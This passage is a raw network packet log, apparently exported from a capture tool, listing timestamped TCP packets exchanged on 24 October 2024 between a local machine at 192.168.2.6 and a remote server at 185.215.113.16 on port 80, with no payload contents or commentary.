Oct 24, 2024 11:02:36.587903023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.587984085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.587996006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588009119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588046074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588155031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588165998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588176966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588187933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588205099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588216066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588226080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588232994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588243961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588252068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588257074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588268042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588284016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588310003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588404894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588418007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588429928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588440895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588453054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588454008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588479996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588560104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588571072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588583946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588593960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588624001 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588748932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588759899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588772058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588783979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588794947 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588824034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588901997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588920116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588932037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588943958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588954926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588954926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588965893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588978052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588980913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.588989973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.588999987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.589001894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589013100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589025974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589029074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.589035034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589046955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.589065075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.589070082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589082956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589093924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589122057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.589253902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589417934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.589457035 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628309965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628376961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628475904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628488064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628499985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628510952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628524065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628526926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628535986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628549099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628576994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628593922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628603935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628793001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628806114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628817081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628820896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628827095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628833055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628837109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628848076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628859997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628864050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628885984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628904104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.628937006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628947973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628958941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628969908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628981113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.628983974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629000902 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629102945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629115105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629127026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629137993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629149914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629153967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629160881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629182100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629199028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629231930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629244089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629281044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629411936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629424095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629435062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629446030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629452944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629456043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629458904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629466057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629534960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629561901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629720926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629863024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629900932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629914999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629929066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629939079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629950047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629959106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629961967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629973888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629983902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.629986048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.629996061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630006075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630007982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630019903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630037069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630045891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630058050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630058050 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630069017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630080938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630084991 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630093098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630105019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630111933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630130053 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630192995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630203962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630239964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630377054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630388975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630399942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630412102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630417109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630424023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630434036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630439043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630445004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630455971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630466938 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630466938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630480051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630486965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630492926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630506039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630517960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630527973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630539894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630564928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630633116 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630707026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630718946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630731106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630742073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630757093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630784988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630872965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630887032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630934000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630945921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630958080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630970001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630986929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.630994081 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.630999088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631010056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631057978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631086111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631139994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631258011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631269932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631283998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631294966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631305933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631319046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631325006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631335974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631340027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631349087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631355047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631361008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631372929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631383896 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631407022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631418943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631432056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631459951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631616116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631628036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631630898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631638050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631649017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631655931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631659985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631670952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631680965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.631686926 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.631724119 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.632894039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.633331060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.667844057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667857885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667877913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667891979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667901993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667907953 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.667912960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667924881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.667956114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.667985916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668129921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668139935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668153048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668164968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668169022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.668179035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668191910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668201923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.668224096 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.668251038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668329954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668342113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668354988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668375015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668387890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668400049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668415070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.668437004 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.668467999 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705360889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705382109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705396891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705446005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705495119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705516100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705528975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705543041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705558062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705559969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705580950 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705595016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705622911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705636024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705648899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705661058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705671072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705672979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705688000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705708027 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705729008 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705750942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705811024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705823898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705869913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705873966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705895901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705910921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705921888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705936909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705955982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.705956936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.705969095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706008911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706037998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706062078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706077099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706083059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706103086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706115007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706125975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706140995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706150055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706161976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706172943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706176043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706186056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706197023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706199884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706211090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706218958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706224918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706240892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706274033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706279993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706290960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706305981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706325054 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706379890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706393003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706408978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706419945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706434965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706434965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706446886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706459999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.706461906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706476927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.706515074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746088982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746109009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746126890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746148109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746161938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746175051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746174097 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746195078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746196985 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746208906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746222019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746241093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746243954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746256113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746258974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746269941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746279955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746280909 CEST	80	49756	185.215.113.16	192.168.2.6
